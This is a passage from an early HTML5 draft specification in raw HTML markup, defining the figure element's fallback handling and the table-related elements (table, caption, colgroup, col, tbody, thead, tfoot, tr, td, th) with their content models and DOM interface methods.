href="#embedded0">embedded content</a> element child of the   <code><a href="#figure0">figure</a></code> element, if any, is the   paragraph's content.  <p>The first <code><a href="#legend0">legend</a></code> element child of   the element, if any, represents the caption of the embedded content. If   there is no child <code><a href="#legend0">legend</a></code> element, then   there is no caption.  <p>If the embedded content cannot be used, then, for the purposes of   establishing what the <code><a href="#figure0">figure</a></code> element   represents:  <dl class=switch>   <dt>If the embedded content's <a href="#fallback">fallback content</a> is    a single <a href="#embedded0">embedded content</a> element   <dd>The <code><a href="#figure0">figure</a></code> element must be treated    as if that <a href="#embedded0">embedded content</a> element was the    <code><a href="#figure0">figure</a></code> element's embedded content.    (If that embedded content can't be used either, then this processing must    be done again, with the new embedded content's <a    href="#fallback">fallback content</a>.)   <dt>If the embedded content's fallback is nothing   <dd>The entire <code><a href="#figure0">figure</a></code> element    (including the caption, if any) must be ignored.   <dt>If the embedded content's fallback is <a    href="#inline-level1">inline-level content</a>   <dd>The entire <code><a href="#figure0">figure</a></code> element    (including the caption, if any) must be treated as being a single <a    href="#paragraph">paragraph</a> with that <a    href="#inline-level1">inline-level content</a> as its content.   <dt>Otherwise   <dd>The entire <code><a href="#figure0">figure</a></code> element    (including the caption, if any) must be treated as being replaced by that    fallback content.  </dl>  <h3 id=tabular><span class=secno>3.15. </span>Tabular data</h3>  <h4 id=the-table><span class=secno>3.15.1. </span>The <dfn   id=table0><code>table</code></dfn> element</h4>  <p><a href="#block-level1" title="block-level elements">Block-level   element</a>, and <a href="#structured" title="structured inline-level   elements">structured inline-level element</a>.  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>Where <a href="#block-level1">block-level elements</a> are expected.   <dd>Where <a href="#structured">structured inline-level elements</a> are    allowed.   <dt>Content model:   <dd>In this order: optionally a <code><a    href="#caption1">caption</a></code> element, followed by either zero or    more <code><a href="#colgroup0">colgroup</a></code> elements, followed    optionally by a <code><a href="#thead1">thead</a></code> element,    followed optionally by a <code><a href="#tfoot1">tfoot</a></code>    element, followed by either zero or more <code><a    href="#tbody0">tbody</a></code> elements <em>or</em> one or more <code><a    href="#tr0">tr</a></code> elements, followed optionally by a <code><a    href="#tfoot1">tfoot</a></code> element (but there can only be one    <code><a href="#tfoot1">tfoot</a></code> element child in total).   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmltableelement>HTMLTableElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute <span>HTMLTableCaptionElement</span> <a href="#caption0" title=dom-table-caption>caption</a>;  HTMLElement <a href="#createcaption" title=dom-table-createCaption>createCaption</a>();  void <a href="#deletecaption" title=dom-table-deleteCaption>deleteCaption</a>();           attribute <a href="#htmltablesectionelement">HTMLTableSectionElement</a> <a href="#thead0" title=dom-table-tHead>tHead</a>;  HTMLElement <a href="#createthead" title=dom-table-createTHead>createTHead</a>();  void <a href="#deletethead" title=dom-table-deleteTHead>deleteTHead</a>();           attribute <a href="#htmltablesectionelement">HTMLTableSectionElement</a> <a href="#tfoot0" title=dom-table-tFoot>tFoot</a>;  HTMLElement <a href="#createtfoot" title=dom-table-createTFoot>createTFoot</a>();  void <a href="#deletetfoot" title=dom-table-deleteTFoot>deleteTFoot</a>();  readonly attribute <a href="#htmlcollection0">HTMLCollection</a> <a href="#tbodies" title=dom-table-tBodies>tBodies</a>;  readonly attribute <a href="#htmlcollection0">HTMLCollection</a> <a href="#rows" title=dom-table-rows>rows</a>;  HTMLElement <a href="#insertrow" title=dom-table-insertRow>insertRow</a>(in long index);  void <a href="#deleterow" title=dom-table-deleteRow>deleteRow</a>(in long index);};</pre>  </dl>  <p>The <code><a href="#table0">table</a></code> element represents data   with more than one dimension (a <a href="#table2"   title=concept-table>table</a>).  <p>The children of a <code><a href="#table0">table</a></code> element must   be, in order:  <ol>   <li>    <p>Zero or one <code><a href="#caption1">caption</a></code> elements.   <li>    <p>Zero or more <code><a href="#colgroup0">colgroup</a></code> elements.   <li>    <p>Zero or one <code><a href="#thead1">thead</a></code> elements.   <li>    <p>Zero or one <code><a href="#tfoot1">tfoot</a></code> elements, if the     last element in the table is not a <code><a     href="#tfoot1">tfoot</a></code> element.   <li>    <p>Either:</p>    <ul>     <li>Zero or more <code><a href="#tbody0">tbody</a></code> elements, or     <li>One or more <code><a href="#tr0">tr</a></code> elements.    </ul>   <li>    <p>Zero or one <code><a href="#tfoot1">tfoot</a></code> element, if there     are no other <code><a href="#tfoot1">tfoot</a></code> elements in the     table.  </ol>  <p>The <code><a href="#table0">table</a></code> element takes part in the   <a href="#table1">table model</a>.  <p>The <dfn id=caption0 title=dom-table-caption><code>caption</code></dfn>   DOM attribute must return, on getting, the first <code><a   href="#caption1">caption</a></code> element child of the <code><a   href="#table0">table</a></code> element. On setting, the first <code><a   href="#caption1">caption</a></code> element child of the <code><a   href="#table0">table</a></code> element, if any, must be removed, and the   new value must be inserted as the first node of the <code><a   href="#table0">table</a></code> element.  <p>The <dfn id=createcaption   title=dom-table-createCaption><code>createCaption()</code></dfn> method   must return a new <code><a href="#caption1">caption</a></code> element.  <p>The <dfn id=deletecaption   title=dom-table-deleteCaption><code>deleteCaption()</code></dfn> method   must remove the first <code><a href="#caption1">caption</a></code> element   child of the <code><a href="#table0">table</a></code> element, if any.  <p>The <dfn id=thead0 title=dom-table-tHead><code>tHead</code></dfn> DOM   attribute must return, on getting, the first <code><a   href="#thead1">thead</a></code> element child of the <code><a   href="#table0">table</a></code> element. On setting, the first <code><a   href="#thead1">thead</a></code> element child of the <code><a   href="#table0">table</a></code> element, if any, must be removed, and the   new value must be inserted immediately before the first element in the   <code><a href="#table0">table</a></code> element that is neither a   <code><a href="#caption1">caption</a></code> element nor a <code><a   href="#colgroup0">colgroup</a></code> element.  <p>The <dfn id=createthead   title=dom-table-createTHead><code>createTHead()</code></dfn> method must   return a new <code><a href="#thead1">thead</a></code> element.  <p>The <dfn id=deletethead   title=dom-table-deleteTHead><code>deleteTHead()</code></dfn> method must   remove the first <code><a href="#thead1">thead</a></code> element child of   the <code><a href="#table0">table</a></code> element, if any.  <p>The <dfn id=tfoot0 title=dom-table-tFoot><code>tFoot</code></dfn> DOM   attribute must return, on getting, the first <code><a   href="#tfoot1">tfoot</a></code> element child of the <code><a   href="#table0">table</a></code> element. On setting, the first <code><a   href="#tfoot1">tfoot</a></code> element child of the <code><a   href="#table0">table</a></code> element, if any, must be removed, and the   new value must be inserted immediately before the first element in the   <code><a href="#table0">table</a></code> element that is neither a   <code><a href="#caption1">caption</a></code> element, a <code><a   href="#colgroup0">colgroup</a></code> element, nor a <code><a   href="#thead1">thead</a></code> element.  <p>The <dfn id=createtfoot   title=dom-table-createTFoot><code>createTFoot()</code></dfn> method must   return a new <code><a href="#tfoot1">tfoot</a></code> element.  <p>The <dfn id=deletetfoot   title=dom-table-deleteTFoot><code>deleteTFoot()</code></dfn> method must   remove the first <code><a href="#tfoot1">tfoot</a></code> element child of   the <code><a href="#table0">table</a></code> element, if any.  <p>The <dfn id=tbodies title=dom-table-tBodies><code>tBodies</code></dfn>   attribute must return an <code><a   href="#htmlcollection0">HTMLCollection</a></code> rooted at the <code><a   href="#table0">table</a></code> node, whose filter matches only <code><a   href="#tbody0">tbody</a></code> elements that are children.  <p>The <dfn id=rows title=dom-table-rows><code>rows</code></dfn> attribute   must return an <code><a href="#htmlcollection0">HTMLCollection</a></code>   rooted at the <code><a href="#table0">table</a></code> node, whose filter   matches only <code><a href="#tr0">tr</a></code> elements that are either   children of the <code><a href="#table0">table</a></code> element, or   children of <code><a href="#thead1">thead</a></code>, <code><a   href="#tbody0">tbody</a></code>, or <code><a   href="#tfoot1">tfoot</a></code> elements that are themselves children of   the <code><a href="#table0">table</a></code> element. The elements in the   collection must be ordered such that those elements whose parent is a   <code><a href="#thead1">thead</a></code> are included first, in tree   order, followed by those elements whose parent is either a <code><a   href="#table0">table</a></code> or <code><a   href="#tbody0">tbody</a></code> element, again in tree order, followed   finally by those elements whose parent is a <code><a   href="#tfoot1">tfoot</a></code> element, still in tree order.  <p>The behaviour of the <dfn id=insertrow   title=dom-table-insertRow><code>insertRow(<var   title="">index</var>)</code></dfn> method depends on the state of the   table. When it is called, the method must act as required by the first   item in the following list of conditions that describes the state of the   table and the <var title="">index</var> argument:  <dl class=switch>   <dt>If <var title="">index</var> is less than -1 or greater than the    number of elements in <code title=dom-table-rows><a    href="#rows">rows</a></code> collection:   <dd>The method must raise an <code>INDEX_SIZE_ERR</code> exception.   <dt>If the <code title=dom-table-rows><a href="#rows">rows</a></code>    collection has zero elements in it, and the <code><a    href="#table0">table</a></code> has no <code><a    href="#tbody0">tbody</a></code> elements in it:   <dd>The method must create a <code><a href="#tbody0">tbody</a></code>    element, then create a <code><a href="#tr0">tr</a></code> element, then    append the <code><a href="#tr0">tr</a></code> element to the <code><a    href="#tbody0">tbody</a></code> element, then append the <code><a    href="#tbody0">tbody</a></code> element to the <code><a    href="#table0">table</a></code> element, and finally return the <code><a    href="#tr0">tr</a></code> element.   <dt>If the <code title=dom-table-rows><a href="#rows">rows</a></code>    collection has zero elements in it:   <dd>The method must create a <code><a href="#tr0">tr</a></code> element,    append it to the last <code><a href="#tbody0">tbody</a></code> element in    the table, and return the <code><a href="#tr0">tr</a></code> element.   <dt>If <var title="">index</var> is equal to -1 or equal to the number of    items in <code title=dom-table-rows><a href="#rows">rows</a></code>    collection:   <dd>The method must create a <code><a href="#tr0">tr</a></code> element,    and append it to the parent of the last <code><a    href="#tr0">tr</a></code> element in the <code title=dom-table-rows><a    href="#rows">rows</a></code> collection. Then, the newly created <code><a    href="#tr0">tr</a></code> element must be returned.   <dt>Otherwise:   <dd>The method must create a <code><a href="#tr0">tr</a></code> element,    insert it immediately before the <var title="">index</var>th <code><a    href="#tr0">tr</a></code> element in the <code title=dom-table-rows><a    href="#rows">rows</a></code> collection, in the same parent, and finally    must return the newly created <code><a href="#tr0">tr</a></code> element.  </dl>  <p>The <dfn id=deleterow title=dom-table-deleteRow><code>deleteRow(<var   title="">index</var>)</code></dfn> method must remove the <var   title="">index</var>th element in the <code title=dom-table-rows><a   href="#rows">rows</a></code> collection from its parent. If <var   title="">index</var> is less than zero or greater than or equal to the   number of elements in the <code title=dom-table-rows><a   href="#rows">rows</a></code> collection, the method must instead raise an   <code>INDEX_SIZE_ERR</code> exception.  <h4 id=the-caption><span class=secno>3.15.2. </span>The <dfn   id=caption1><code>caption</code></dfn> element</h4>  <!-- element has no special category -->  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>As the first element child of a <code><a    href="#table0">table</a></code> element.   <dt>Content model:   <dd><a href="#significant" title="significant inline    content">Significant</a> <a href="#strictly">strictly inline-level    content</a>.   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>No difference from <code><a    href="#htmlelement">HTMLElement</a></code>.  </dl>  <p>The <code><a href="#caption1">caption</a></code> element represents the   title of the <code><a href="#table0">table</a></code> that is its parent,   if it has a parent and that is a <code><a href="#table0">table</a></code>   element.  <p>The <code><a href="#caption1">caption</a></code> element takes part in   the <a href="#table1">table model</a>.  <h4 id=the-colgroup><span class=secno>3.15.3. </span>The <dfn   id=colgroup0><code>colgroup</code></dfn> element</h4>  <!-- element has no special category -->  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>As a child of a <code><a href="#table0">table</a></code> element,    after any <code><a href="#caption1">caption</a></code> elements and    before any <code><a href="#thead1">thead</a></code>, <code><a    href="#tbody0">tbody</a></code>, <code><a    href="#tfoot1">tfoot</a></code>, and <code><a href="#tr0">tr</a></code>    elements.   <dt>Content model:   <dd>Zero or more <code><a href="#col0">col</a></code> elements.   <dt>Element-specific attributes:   <dd><code title=attr-colgroup-span><a href="#span1">span</a></code>, but    only if the element contains no <code><a href="#col0">col</a></code>    elements   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmltablecolelement>HTMLTableColElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute unsigned long <a href="#span2" title=dom-colgroup-span>span</a>;};</pre>  </dl>  <p>The <code><a href="#colgroup0">colgroup</a></code> element represents a   <a href="#column0" title=concept-column-group>group</a> of one or more <a   href="#column" title=concept-column>columns</a> in the <code><a   href="#table0">table</a></code> that is its parent, if it has a parent and   that is a <code><a href="#table0">table</a></code> element.  <p>If the <code><a href="#colgroup0">colgroup</a></code> element contains   no <code><a href="#col0">col</a></code> elements, then the element may   have a <dfn id=span1 title=attr-colgroup-span><code>span</code></dfn>   content attribute specified, whose value must be a <a href="#valid">valid   non-negative integer</a> greater than zero. Its default value, which must   be used if <a href="#rules" title="rules for parsing non-negative   integers">parsing the attribute as a non-negative integer</a> returns   either an error or zero, is 1.  <p>The <code><a href="#colgroup0">colgroup</a></code> element and its <code   title=attr-colgroup-span><a href="#span1">span</a></code> attribute take   part in the <a href="#table1">table model</a>.  <p>The <dfn id=span2 title=dom-colgroup-span><code>span</code></dfn> DOM   attribute must <a href="#reflect">reflect</a> the content attribute of the   same name, with the exception that on setting, if the new value is 0, then   an <code>INDEX_SIZE_ERR</code> exception must be raised.  <h4 id=the-col><span class=secno>3.15.4. </span>The <dfn   id=col0><code>col</code></dfn> element</h4>  <!-- element has no special category -->  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>As a child of a <code><a href="#colgroup0">colgroup</a></code> element    that doesn't have a <code title=attr-col-span><a    href="#span3">span</a></code> attribute.   <dt>Content model:   <dd>Empty.   <dt>Element-specific attributes:   <dd><code title=attr-col-span><a href="#span3">span</a></code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <p><code><a href="#htmltablecolelement">HTMLTableColElement</a></code>,     same as for <code><a href="#colgroup0">colgroup</a></code> elements.     This interface defines one member, <code title=dom-col-span><a     href="#span4">span</a></code>.</p>  </dl>  <p>If a <code><a href="#col0">col</a></code> element has a parent and that   is a <code><a href="#colgroup0">colgroup</a></code> element that itself   has a parent that is a <code><a href="#table0">table</a></code> element,   then the <code><a href="#col0">col</a></code> element represents one or   more <a href="#column" title=concept-column>columns</a> in the <a   href="#column0" title=concept-column-group>column group</a> represented by   that <code><a href="#colgroup0">colgroup</a></code>.  <p>The element may have a <dfn id=span3   title=attr-col-span><code>span</code></dfn> content attribute specified,   whose value must be a <a href="#valid">valid non-negative integer</a>   greater than zero. Its default value, which must be used if <a   href="#rules" title="rules for parsing non-negative integers">parsing the   attribute as a non-negative integer</a> returns either an error or zero,   is 1.  <p>The <code><a href="#col0">col</a></code> element and its <code   title=attr-col-span><a href="#span3">span</a></code> attribute take part   in the <a href="#table1">table model</a>.  <p>The <dfn id=span4 title=dom-col-span><code>span</code></dfn> DOM   attribute must <a href="#reflect">reflect</a> the content attribute of the   same name, with the exception that on setting, if the new value is 0, then   an <code>INDEX_SIZE_ERR</code> exception must be raised.  <h4 id=the-tbody><span class=secno>3.15.5. </span>The <dfn   id=tbody0><code>tbody</code></dfn> element</h4>  <!-- element has no special category -->  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>As a child of a <code><a href="#table0">table</a></code> element,    after any <code><a href="#caption1">caption</a></code>, <code><a    href="#colgroup0">colgroup</a></code>, and <code><a    href="#thead1">thead</a></code> elements, but only if there are no    <code><a href="#tr0">tr</a></code> elements that are children of the    <code><a href="#table0">table</a></code> element.   <dt>Content model:   <dd>One or more <code><a href="#tr0">tr</a></code> elements   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmltablesectionelement>HTMLTableSectionElement</dfn> : <a href="#htmlelement">HTMLElement</a> {  readonly attribute <a href="#htmlcollection0">HTMLCollection</a> <a href="#rows0" title=dom-tbody-rows>rows</a>;  <a href="#htmlelement">HTMLElement</a> <a href="#insertrow0" title=dom-tbody-insertRow>insertRow</a>(in long index);  void <a href="#deleterow0" title=dom-tbody-deleteRow>deleteRow</a>(in long index);};</pre>    <p>The <code><a     href="#htmltablesectionelement">HTMLTableSectionElement</a></code>     interface is also used for <code><a href="#thead1">thead</a></code> and     <code><a href="#tfoot1">tfoot</a></code> elements.</p>  </dl>  <p>The <code><a href="#tbody0">tbody</a></code> element represents a <a   href="#row-group" title=concept-row-group>block</a> of <a href="#row"   title=concept-row>rows</a> that consist of a body of data for the parent   <code><a href="#table0">table</a></code> element, if the <code><a   href="#thead1">thead</a></code> element has a parent and it is a <code><a   href="#table0">table</a></code>.  <p>The <code><a href="#tbody0">tbody</a></code> element takes part in the   <a href="#table1">table model</a>.  <p>The <dfn id=rows0 title=dom-tbody-rows><code>rows</code></dfn> attribute   must return an <code><a href="#htmlcollection0">HTMLCollection</a></code>   rooted at the element, whose filter matches only <code><a   href="#tr0">tr</a></code> elements that are children of the element.  <p>The <dfn id=insertrow0 title=dom-tbody-insertRow><code>insertRow(<var   title="">index</var>)</code></dfn> method must, when invoked on an element   <var title="">table section</var>, act as follows:  <p>If <var title="">index</var> is less than -1 or greater than the number   of elements in the <code title=dom-tbody-rows><a   href="#rows0">rows</a></code> collection, the method must raise an   <code>INDEX_SIZE_ERR</code> exception.  <p>If <var title="">index</var> is equal to -1 or equal to the number of   items in the <code title=dom-tbody-rows><a href="#rows0">rows</a></code>   collection, the method must create a <code><a href="#tr0">tr</a></code>   element, append it to the element <var title="">table section</var>, and   return the newly created <code><a href="#tr0">tr</a></code> element.  <p>Otherwise, the method must create a <code><a href="#tr0">tr</a></code>   element, insert it as a child of the <var title="">table section</var>   element, immediately before the <var title="">index</var>th <code><a   href="#tr0">tr</a></code> element in the <code title=dom-tbody-rows><a   href="#rows0">rows</a></code> collection, and finally must return the   newly created <code><a href="#tr0">tr</a></code> element.  <p>The <dfn id=deleterow0 title=dom-tbody-deleteRow><code>deleteRow(<var   title="">index</var>)</code></dfn> method must remove the <var   title="">index</var>th element in the <code title=dom-tbody-rows><a   href="#rows0">rows</a></code> collection from its parent. If <var   title="">index</var> is less than zero or greater than or equal to the   number of elements in the <code title=dom-tbody-rows><a   href="#rows0">rows</a></code> collection, the method must instead raise an   <code>INDEX_SIZE_ERR</code> exception.  <h4 id=the-thead><span class=secno>3.15.6. </span>The <dfn   id=thead1><code>thead</code></dfn> element</h4>  <!-- element has no special category -->  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>As a child of a <code><a href="#table0">table</a></code> element,    after any <code><a href="#caption1">caption</a></code>, and <code><a    href="#colgroup0">colgroup</a></code> elements and before any <code><a    href="#tbody0">tbody</a></code>, <code><a    href="#tfoot1">tfoot</a></code>, and <code><a href="#tr0">tr</a></code>    elements, but only if there are no other <code><a    href="#thead1">thead</a></code> elements that are children of the    <code><a href="#table0">table</a></code> element.   <dt>Content model:   <dd>One or more <code><a href="#tr0">tr</a></code> elements   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd><code><a    href="#htmltablesectionelement">HTMLTableSectionElement</a></code>, as    defined for <code><a href="#tbody0">tbody</a></code> elements.  </dl>  <p>The <code><a href="#thead1">thead</a></code> element represents the <a   href="#row-group" title=concept-row-group>block</a> of <a href="#row"   title=concept-row>rows</a> that consist of the column labels (headers) for   the parent <code><a href="#table0">table</a></code> element, if the   <code><a href="#thead1">thead</a></code> element has a parent and it is a   <code><a href="#table0">table</a></code>.  <p>The <code><a href="#thead1">thead</a></code> element takes part in the   <a href="#table1">table model</a>.  <h4 id=the-tfoot><span class=secno>3.15.7. </span>The <dfn   id=tfoot1><code>tfoot</code></dfn> element</h4>  <!-- element has no special category -->  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>As a child of a <code><a href="#table0">table</a></code> element,    after any <code><a href="#caption1">caption</a></code>, <code><a    href="#colgroup0">colgroup</a></code>, and <code><a    href="#thead1">thead</a></code> elements and before any <code><a    href="#tbody0">tbody</a></code> and <code><a href="#tr0">tr</a></code>    elements, but only if there are no other <code><a    href="#tfoot1">tfoot</a></code> elements that are children of the    <code><a href="#table0">table</a></code> element.   <dd>As a child of a <code><a href="#table0">table</a></code> element,    after any <code><a href="#caption1">caption</a></code>, <code><a    href="#colgroup0">colgroup</a></code>, <code><a    href="#thead1">thead</a></code>, <code><a    href="#tbody0">tbody</a></code>, and <code><a href="#tr0">tr</a></code>    elements, but only if there are no other <code><a    href="#tfoot1">tfoot</a></code> elements that are children of the    <code><a href="#table0">table</a></code> element.   <dt>Content model:   <dd>One or more <code><a href="#tr0">tr</a></code> elements   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd><code><a    href="#htmltablesectionelement">HTMLTableSectionElement</a></code>, as    defined for <code><a href="#tbody0">tbody</a></code> elements.  </dl>  <p>The <code><a href="#tfoot1">tfoot</a></code> element represents the <a   href="#row-group" title=concept-row-group>block</a> of <a href="#row"   title=concept-row>rows</a> that consist of the column summaries (footers)   for the parent <code><a href="#table0">table</a></code> element, if the   <code><a href="#thead1">thead</a></code> element has a parent and it is a   <code><a href="#table0">table</a></code>.  <p>The <code><a href="#tfoot1">tfoot</a></code> element takes part in the   <a href="#table1">table model</a>.  <h4 id=the-tr><span class=secno>3.15.8. </span>The <dfn   id=tr0><code>tr</code></dfn> element</h4>  <!-- element has no special category -->  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>As a child of a <code><a href="#thead1">thead</a></code> element.   <dd>As a child of a <code><a href="#tbody0">tbody</a></code> element.   <dd>As a child of a <code><a href="#tfoot1">tfoot</a></code> element.   <dd>As a child of a <code><a href="#table0">table</a></code> element,    after any <code><a href="#caption1">caption</a></code>, <code><a    href="#colgroup0">colgroup</a></code>, and <code><a    href="#thead1">thead</a></code> elements, but only if there are no    <code><a href="#tbody0">tbody</a></code> elements that are children of    the <code><a href="#table0">table</a></code> element.   <dt>Content model:   <dd>One or more <code><a href="#td0">td</a></code> or <code><a    href="#th0">th</a></code> elements   <dt>Element-specific attributes:   <dd>None.   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmltablerowelement>HTMLTableRowElement</dfn> : <a href="#htmlelement">HTMLElement</a> {  readonly attribute long <a href="#rowindex" title=dom-tr-rowIndex>rowIndex</a>;  readonly attribute long <a href="#rowindex0" title=dom-tr-sectionRowIndex>sectionRowIndex</a>;  readonly attribute <a href="#htmlcollection0">HTMLCollection</a> <a href="#cells" title=dom-tr-cells>cells</a>;  <a href="#htmlelement">HTMLElement</a> <a href="#insertcell" title=dom-tr-insertCell>insertCell</a>(in long index);  void <span>deleteCell</span>(in long index);};</pre>  </dl>  <p>The <code><a href="#tr0">tr</a></code> element represents a <a   href="#row" title=concept-row>row</a> of <a href="#cell"   title=concept-cell>cells</a> in a <a href="#table2"   title=concept-table>table</a>.  <p>The <code><a href="#tr0">tr</a></code> element takes part in the <a   href="#table1">table model</a>.  <p>The <dfn id=rowindex title=dom-tr-rowIndex><code>rowIndex</code></dfn>   element must, if the element has a parent <code><a   href="#table0">table</a></code> element, or a parent <code><a   href="#tbody0">tbody</a></code>, <code><a href="#thead1">thead</a></code>,   or <code><a href="#tfoot1">tfoot</a></code> element and a   <em>grandparent</em> <code><a href="#table0">table</a></code> element,   return the index of the <code><a href="#tr0">tr</a></code> element in that   <code><a href="#table0">table</a></code> element's <code   title=dom-table-rows><a href="#rows">rows</a></code> collection. If there   is no such <code><a href="#table0">table</a></code> element, then the   attribute must return 0.  <p>The <dfn id=rowindex0   title=dom-tr-sectionRowIndex><code>rowIndex</code></dfn> element must, if   the element has a parent <code><a href="#table0">table</a></code>,   <code><a href="#tbody0">tbody</a></code>, <code><a   href="#thead1">thead</a></code>, or <code><a   href="#tfoot1">tfoot</a></code> element, return the index of the <code><a   href="#tr0">tr</a></code> element in the parent element's <code   title="">rows</code> collection (for tables, that's the <code   title=dom-table-rows><a href="#rows">rows</a></code> collection; for table   sections, that's the <code title=dom-tbody-rows><a   href="#rows0">rows</a></code> collection). If there is no such parent   element, then the attribute must return 0.  <p>The <dfn id=cells title=dom-tr-cells><code>cells</code></dfn> attribute   must return an <code><a href="#htmlcollection0">HTMLCollection</a></code>   rooted at the <code><a href="#tr0">tr</a></code> element, whose filter   matches only <code><a href="#td0">td</a></code> and <code><a   href="#th0">th</a></code> elements that are children of the <code><a   href="#tr0">tr</a></code> element.  <p>The <dfn id=insertcell title=dom-tr-insertCell><code>insertCell(<var   title="">index</var>)</code></dfn> method must act as follows:  <p>If <var title="">index</var> is less than -1 or greater than the number   of elements in the <code title=dom-tr-cells><a   href="#cells">cells</a></code> collection, the method must raise an   <code>INDEX_SIZE_ERR</code> exception.  <p>If <var title="">index</var> is equal to -1 or equal to the number of   items in <code title=dom-tr-cells><a href="#cells">cells</a></code>   collection, the method must create a <code><a href="#td0">td</a></code>   element, append it to the <code><a href="#tr0">tr</a></code> element, and   return the newly created <code><a href="#td0">td</a></code> element.  <p>Otherwise, the method must create a <code><a href="#td0">td</a></code>   element, insert it as a child of the <code><a href="#tr0">tr</a></code>   element, immediately before the <var title="">index</var>th <code><a   href="#td0">td</a></code> or <code><a href="#th0">th</a></code> element in   the <code title=dom-tr-cells><a href="#cells">cells</a></code> collection,   and finally must return the newly created <code><a   href="#td0">td</a></code> element.  <p>The <dfn id=deletecell title=dom-tr-deleteCell><code>deleteCell(<var   title="">index</var>)</code></dfn> method must remove the <var   title="">index</var>th element in the <code title=dom-tr-cells><a   href="#cells">cells</a></code> collection from its parent. If <var   title="">index</var> is less than zero or greater than or equal to the   number of elements in the <code title=dom-tr-cells><a   href="#cells">cells</a></code> collection, the method must instead raise   an <code>INDEX_SIZE_ERR</code> exception.  <h4 id=the-td><span class=secno>3.15.9. </span>The <dfn   id=td0><code>td</code></dfn> element</h4>  <!-- element has no special category -->  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>As a child of a <code><a href="#tr0">tr</a></code> element.   <dt>Content model:   <dd>Zero or more <a href="#block-level1">block-level elements</a>, or <a    href="#inline-level1">inline-level content</a> (but not both).   <dt>Element-specific attributes:   <dd><code title=attr-td-colspan><a href="#colspan">colspan</a></code>   <dd><code title=attr-td-rowspan><a href="#rowspan">rowspan</a></code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmltablecellelement>HTMLTableCellElement</dfn> : <a href="#htmlelement">HTMLElement</a> {           attribute long <a href="#colspan0" title=dom-td-colSpan>colSpan</a>;           attribute long <a href="#rowspan0" title=dom-td-rowSpan>rowSpan</a>;  readonly attribute long <a href="#cellindex" title=dom-td-cellIndex>cellIndex</a>;};</pre>  </dl>  <p>The <code><a href="#td0">td</a></code> element represents a data <a   href="#cell" title=concept-cell>cell</a> in a table.  <p>The <code><a href="#td0">td</a></code> element may have a <dfn   id=colspan title=attr-td-colspan><code>colspan</code></dfn> content   attribute specified, whose value must be a <a href="#valid">valid   non-negative integer</a> greater than zero. Its default value, which must   be used if <a href="#rules" title="rules for parsing non-negative   integers">parsing the attribute as a non-negative integer</a> returns   either an error or zero, is 1.  <p>The <code><a href="#td0">td</a></code> element may also have a <dfn   id=rowspan title=attr-td-rowspan><code>rowspan</code></dfn> content   attribute specified, whose value must be a <a href="#valid">valid   non-negative integer</a>. Its default value, which must be used if <a   href="#rules" title="rules for parsing non-negative integers">parsing the   attribute as a non-negative integer</a> returns an error, is also 1.  <p>The <code><a href="#td0">td</a></code> element and its <code   title=attr-td-colspan><a href="#colspan">colspan</a></code> and <code   title=attr-td-rowspan><a href="#rowspan">rowspan</a></code> attributes   take part in the <a href="#table1">table model</a>.  <p>The <dfn id=colspan0 title=dom-td-colspan><code>colspan</code></dfn> DOM   attribute must <a href="#reflect">reflect</a> the content attribute of the   same name, with the exception that on setting, if the new value is 0, then   an <code>INDEX_SIZE_ERR</code> exception must be raised.  <p>The <dfn id=rowspan0 title=dom-td-rowspan><code>rowspan</code></dfn> DOM   attribute must <a href="#reflect">reflect</a> the content attribute of the   same name.  <p>The <dfn id=cellindex   title=dom-td-cellIndex><code>cellIndex</code></dfn> DOM attribute must, if   the element has a parent <code><a href="#tr0">tr</a></code> element,   return the index of the cell's element in the parent element's <code   title=dom-tr-cells><a href="#cells">cells</a></code> collection. If there   is no such parent element, then the attribute must return 0.  <h4 id=the-th><span class=secno>3.15.10. </span>The <dfn   id=th0><code>th</code></dfn> element</h4>  <!-- element has no special category -->  <dl class=element>   <dt>Contexts in which this element may be used:   <dd>As a child of a <code><a href="#tr0">tr</a></code> element.   <dt>Content model:   <dd>Zero or more <a href="#block-level1">block-level elements</a>, or <a    href="#inline-level1">inline-level content</a> (but not both).   <dt>Element-specific attributes:   <dd><code title=attr-th-colspan><a href="#colspan1">colspan</a></code>   <dd><code title=attr-th-rowspan><a href="#rowspan1">rowspan</a></code>   <dd><code title=attr-th-scope><a href="#scope0">scope</a></code>   <dt>Predefined classes that apply to this element:   <dd>None.   <dt>DOM interface:   <dd>    <pre     class=idl>interface <dfn id=htmltableheadercellelement>HTMLTableHeaderCellElement</dfn> : <a href="#htmltablecellelement">HTMLTableCellElement</a> {           attribute DOMString <a href="#scope1" title=dom-th-scope>scope</a>;};</pre>  </dl>  <p>The <code><a href="#th0">th</a></code> element represents a header <a   href="#cell" title=concept-cell>cell</a> in a table.  <p>The <code><a href="#th0">th</a></code> element may have a <dfn   id=colspan1 title=attr-th-colspan><code>colspan</code></dfn> content   attribute specified, whose value must be a <a href="#valid">valid   non-negative integer</a> greater than zero. Its default value, which must   be used if <a href="#rules" title="rules for parsing non-negative   integers">parsing the attribute as a non-negative integer</a> returns   either an 